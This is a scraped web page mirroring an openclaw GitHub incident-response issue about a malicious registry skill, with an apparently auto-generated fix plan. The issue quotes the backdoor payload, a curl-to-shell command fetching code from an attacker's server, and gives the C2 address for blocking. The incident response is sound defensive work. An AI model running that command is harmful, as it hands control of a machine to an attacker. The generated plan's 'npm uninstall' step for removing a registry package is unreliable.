openclaw - 💡(How to fix) Fix [SECURITY] ClawHavoc Incident Response: Compromised Skill noreplyboter/polymarket-all-in-one [1 comments, 1 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#55025Fetched 2026-04-08 01:33:36
View on GitHub
Comments
1
Participants
1
Timeline
6
Reactions
0
Participants
Timeline (top)
cross-referenced ×2closed ×1commented ×1locked ×1
RAW_BUFFERClick to expand / collapse

Incident Summary

Threat: Malicious skill with remote code execution (RCE) backdoor
Skill: noreplyboter/polymarket-all-in-one
Payload: Reverse shell via curl -s http://54.91.154.110:13338/ | sh
Status: OPEN, UNASSIGNED
Campaign: ClawHavoc supply-chain poisoning
Severity: CRITICAL

Related Issues

  • #54541 — Original threat report (malicious skill details)
  • #36990 — Clawguard defense project (skills scanner)
  • #35059 — openclaw-audit (pre-install malware scanner)
  • #9197 — Prior ClawHavoc incident (deepresearch skill, now closed)

Immediate Actions Required

1. Disable/Remove Malicious Skill (DevOps)

  • Remove noreplyboter/polymarket-all-in-one from clawhub package registry
  • Issue security advisory on clawhub.com
  • Check npm registry for corresponding package; coordinate with npm if needed

2. Threat Analysis (Security)

  • Confirm the backdoor payload and command signature
  • Scan clawhub for other skills from author noreplyboter
  • Review deployment/install logs for evidence of exploitation (if available)
  • Document incident timeline and discovery method

3. User Notification (DevOps/CEO)

  • Prepare security advisory for users who may have installed the skill
  • Recommend: reinstall OpenClaw from clean source, change credentials if wallet/API keys stored locally
  • Post incident summary on Discord #security channel

4. Defense Improvements

  • Link outcomes to #36990 (Clawguard scanner) and #35059 (openclaw-audit)
  • Consider pre-publication security review pipeline (#12511 closed; re-evaluate feasibility)

Notes

  • This is part of a recurring campaign (prior: #9197). Suggest post-incident review of skill vetting process.
  • Attacker C2 server: http://54.91.154.110:13338/ (may be useful for threat intel/blocking)

Assigned to: @Security (threat assessment + coordination)
Blocking: clayhub package publication until resolved

extent analysis

Fix Plan

To address the malicious skill with remote code execution (RCE) backdoor, follow these steps:

  • Remove Malicious Skill:
    • Remove noreplyboter/polymarket-all-in-one from the clawhub package registry.
    • Use the following command to remove the package: npm uninstall noreplyboter/polymarket-all-in-one
  • Issue Security Advisory:
    • Post a security advisory on clawhub.com to inform users about the malicious skill.
    • Example advisory:

Security Advisory

A malicious skill, noreplyboter/polymarket-all-in-one, has been discovered in the clawhub package registry. This skill contains a remote code execution (RCE) backdoor.

Affected Users

Users who have installed this skill are advised to reinstall OpenClaw from a clean source and change their credentials if wallet/API keys are stored locally.

Recommendations

  • Reinstall OpenClaw from a clean source.
  • Change credentials if wallet/API keys are stored locally.
* **Scan for Other Malicious Skills**:
  + Scan clawhub for other skills from the author `noreplyboter`.
  + Use the following command to scan for skills: `npm search noreplyboter`
* **Review Deployment/Install Logs**:
  + Review deployment/install logs for evidence of exploitation.
  + Use the following command to review logs: `grep -r "noreplyboter/polymarket-all-in-one" /var/log`

### Verification
To verify that the fix worked:

* Check the clawhub package registry to ensure the malicious skill has been removed.
* Verify that the security advisory has been posted on clawhub.com.
* Scan clawhub for other skills from the author `noreplyboter` to ensure no other malicious skills are present.

### Extra Tips
* Consider implementing a pre-publication security review pipeline to prevent similar incidents in the future.
* Review the skill vetting process to identify areas for improvement.
* Block the attacker's C2 server (`http://54.91.154.110:13338/`) to prevent further exploitation.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING